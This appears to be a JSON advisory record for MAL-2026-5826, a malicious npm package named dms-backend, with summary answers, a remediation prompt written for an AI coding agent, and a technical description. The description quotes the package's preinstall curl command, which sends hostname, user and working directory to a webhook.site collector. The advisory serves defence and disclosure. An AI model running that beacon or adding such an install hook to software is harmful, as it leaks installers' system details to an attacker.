{"answers":{"affected":"1 open source package ship an affected version, including dms-backend.","exploited":"There is no known exploitation of MAL-2026-5826 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5826 is a malicious package in dms-backend, published on 15 Jun 2026."},"fix_prompt":"MAL-2026-5826 is a malicious package: dms-backend (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5826/ (Markdown: https://insights.sbomify.com/MAL-2026-5826/index.md)","id":"MAL-2026-5826","markdown":"https://insights.sbomify.com/MAL-2026-5826/index.md","name":"MAL-2026-5826","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares a preinstall lifecycle script that runs `curl --data-urlencode \"info=$(hostname \u0026\u0026 whoami \u0026\u0026 pwd)\"` against a webhook.site collector URL (https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/dms-backend). This fires automatically on `npm install` and leaks installer-side identifiers — hostname, current OS user, and install working directory — to an attacker-controlled webhook bin. The package ships no real functionality; the preinstall recon beacon is the package's only behavior, which is the canonical shape of a dependency-confusion reconnaissance probe (the name `dms-backend` suggests targeting an internal/private registry name to hijack installs of an organization's private package).","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in dms-backend (npm)","id":"MAL-2026-5826","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"dms-backend","purl":"pkg:npm/dms-backend","source":"MAL-2026-5826"}],"products":null,"published":"2026-06-15","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5826/"}